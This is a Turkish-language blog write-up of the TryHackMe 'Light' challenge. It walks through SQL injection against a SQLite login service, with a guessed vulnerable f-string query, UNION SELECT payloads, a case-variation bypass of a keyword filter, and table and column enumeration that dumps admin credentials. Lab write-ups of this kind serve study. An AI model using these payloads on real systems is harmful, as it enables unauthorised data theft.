Light

Light Challenge'ını çözmeye çalışacağım. Bu challenge, öncelikle TryHackMe üzerinden erişebileceğin ve kolay seviyede olarak nitelendirilen bir challengedir.

author image

Written by

Furkan İbiş

Published on

May 18

Light

Light

Esenlikler,

Bugünkü yazımda, TryHackMe platformunda yer alan Light isimli senaryoyu çözmeye çalışacağım. Görev, "kolay" seviyede olarak değerlendirilmiş. Şimdiden ilginiz için teşekkür ederim.

Light Hakkında

Light ile ilgili olarak verilen açıklamada şu ifadeler yer alıyor:

  1. "I am working on a database application called Light! Would you like to try it out?
  2. If so, the application is running on port 1337. You can connect to it using nc <ip> 1337
  3. You can use the username smokey in order to get started."

Kısaca, bir veritabanı uygulaması geliştirildiği ve bu uygulamaya belirtilen IP adresi ve 1337 portu üzerinden nc (netcat) ile bağlanılabileceği belirtiliyor. Ayrıca uygulamaya başlamak için smokey kullanıcı adını kullanmamız gerektiği ifade ediliyor.

Görev Hakkında

TryHackMe platformu bu senaryo için bize üç görev sunuyor:

  1. Admin'in kullanıcı adı nedir?
  2. Admin'in parolası nedir?
  3. Flag nedir?

Uygulamayı Tanımak

Uygulamayı daha iyi anlayabilmek adına, ilk olarak normal bir kullanıcı gibi davranarak uygulamayı kullanmayı deniyorum.

Uygulama, oldukça basit bir mantıkla çalışıyor. Verdiğimiz kullanıcı adının parolasını doğrudan ekrana yazdırıyor. Gerçekten oldukça basit bir yapı.

Tahminen arka planda aşağıdaki gibi bir kod çalışıyor olabilir:

def get_user_password(username: str) -> str:
    conn = sqlite3.connect('db_name')
    curr = conn.cursor()

    query = f"SELECT password FROM table_name WHERE username='{username}'"

    curr.execute(query)
    password = curr.fetchone()

    return password

Eğer gerçekten bu mantıkla çalışıyorsa, uygulama SQL Injection saldırılarına karşı son derece savunmasız demektir. Kullanıcı girdisi doğrudan SQL sorgusuna eklendiği için, kötü niyetli bir kullanıcı sorgunun yapısını kolayca manipüle edebilir.

SQLi

Hedef sistemde SQL Injection (SQLi) açığını test etmek için, sorguyu manipüle etmeyi deneyeceğim. Bunun için kullanıcı adı inputuna aşağıdaki değeri vereceğim:

smokey' UNION SELECT 1 --

Bu girişle birlikte arka plandaki SQL sorgusu şu hale gelecek:

SELECT password FROM table_name WHERE username='smokey' UNION SELECT 1 --'

Burada -- ifadesi SQL'de yorum satırı anlamına geldiği için, sorgunun geri kalan kısmı devre dışı bırakılır. Böylece sonundaki tek tırnak (') karakteri de etkisiz hale getirilmiş olur.

Tabii, hedef sistemde bu tür saldırılara karşı bir önlem alınmış. Ancak bu önlem yetersiz, çünkü yorum satırı (--) kullanmadan da sorguyu manipüle etmek mümkün. Örneğin, aşağıdaki gibi bir input vererek sorgunun yapısını yine değiştirebiliriz:

SELECT password FROM table_name WHERE username='smokey' UNION SELECT '1

Bu sayede, sorgunun sonunda yer alan tek tırnaktan yine kurtulmuş oluruz.

Bu noktada hedef sistem, "bazı sevmediğim kelimeler var" diyerek bizi uyarıyor. Burada bahsedilen muhtemelen UNION ifadesinin kullanımı. Bu sınırlamayı aşmak için deneyeceğim ilk yöntem, eğer hedef sistemde yeterince güçlü bir filtreleme yapılmamışsa, UNION ifadesini farklı bir biçimde kullanmak olacaktır.

Çıktıya baktığımızda bir koşul kontrolü yapıldığını anlıyoruz çünkü UNION kullanıldığında sistem bize "Ahh there is a word in there I don't like :(" mesajını gösteriyor.

Yine arka planda çalışan kodu tahmini olarak şöyle yazabilirim:

def get_user_password(username: str) -> str:
    if "UNION" in username:
        return "Ahh there is a word in there I don't like :("
    if "--" in username:
        return "For strange reasons I can't explain, any input containing /*, -- or ,%0b is not allowed :)"

    conn = sqlite3.connect('db_name')
    curr = conn.cursor()

    query = f"SELECT password FROM table_name WHERE username='{username}'"

    curr.execute(query)
    password = curr.fetchone()

    return password

Buradan hareketle yorum yapacak olursam; eğer kullanıcıdan gelen input, if koşulu ile tek tek kontrol ediliyorsa, hedef sistem büyük/küçük harf duyarlılığına bakmıyor olabilir. Bu yüzden sorguyu şu şekilde değiştirirsem:

SELECT password FROM table_name WHERE username='smokey' Union Select '1

istenilen sonucu elde edebilirim.

Haklı olmak güzel şey.

Şimdi sırada, hedef sistemde hangi tabloların bulunduğunu öğrenmek var.

Biraz araştırma yaptığımda, SQLite içerisinde bu amaçla kullanılan özel bir tablo olduğunu gördüm. Bu tablo, SQL Server’daki information_schema veya MySQL’deki INFORMATION_SCHEMA tablolarına benzer şekilde çalışır. Yani, SQLite’a bağlanan uygulamalar mevcut tabloları listelemek için bu özel tabloyu kullanırlar.

Bu özel tablo ise sqlite_master tablosudur.

Şimdi ilk adım olarak, veritabanında hangi tabloların yer aldığını sqlite_master üzerinden öğrenmeye çalışacağız.

Bunun için kullanılacak SQL sorgusu şu şekildedir:

SELECT password FROM table_name WHERE username='smokey' UNION SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'

li Bu sorgunun çalışması için aşağıdaki input'u vermemiz yeterli olacaktır:

smokey' UNION SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table

GROUP_CONCAT fonksiyonunu kullanmamın nedeni, veritabanında yer alan tüm tablo adlarını tek bir satırda görebilmek.

Bu sorgunun sonucunda, hedef sistemde usertable ve admintable adında iki tablo olduğunu öğrenmiş olduk.

Peki, bu tablolarda hangi kolonların olduğunu nasıl öğrenebiliriz? Biraz araştırma yaptıktan sonra, SQLite’ta tablo yapısı hakkında bilgi almak için pragma_table_info fonksiyonunun kullanılabileceğini öğrendim. Bu yapı, verilen tabloya ait kolon bilgilerini döndürür.

Dolayısıyla aşağıdaki sorguyla admintable tablosunun kolonlarını öğrenebiliriz:

SELECT password FROM admintable WHERE username='smokey' UNION SELECT GROUP_CONCAT(name) FROM pragma_table_info('admintable') WHERE '1

Burada:

GROUP_CONCAT fonksiyonunu, tüm kolon adlarını tek bir satırda görebilmek için kullandım. WHERE '1 ifadesini ise sorgunun düzgün tamamlanmasını sağlamak için ekledim.

Aynı yöntemi usertable için de uygulayabiliriz:

SELECT password FROM usertable WHERE username='smokey' UNION SELECT GROUP_CONCAT(name) FROM pragma_table_info('usertable') WHERE '1

İki tabloda da id, username ve password kolonlarının bulunduğunu öğrenmiş olduk.

Şimdi geriye sadece bu tabloların içerisindeki verileri okumak kaldı. Bunun için sorguyu şu şekilde kullanabiliriz:

SELECT password FROM admintable WHERE username='smokey' UNION SELECT GROUP_CONCAT(id || ':' || username || ':' || password) FROM admintable WHERE '1'

Aynı işlemi usertable için de uygulayabiliriz.

Admintable içerisinde TryHackMe'nin verdiği 3 task'ın da cevaplarını görebiliyoruz. ve bu sayede bu challenge'yi de tamamlamış oluyoruz.

Teşekkürler

Yazımı buraya kadar okuduğunuz için teşekkür ederim. Bir sonraki test raporunda görüşmek dileğiyle. Kendinize iyi bakın, esenlikler.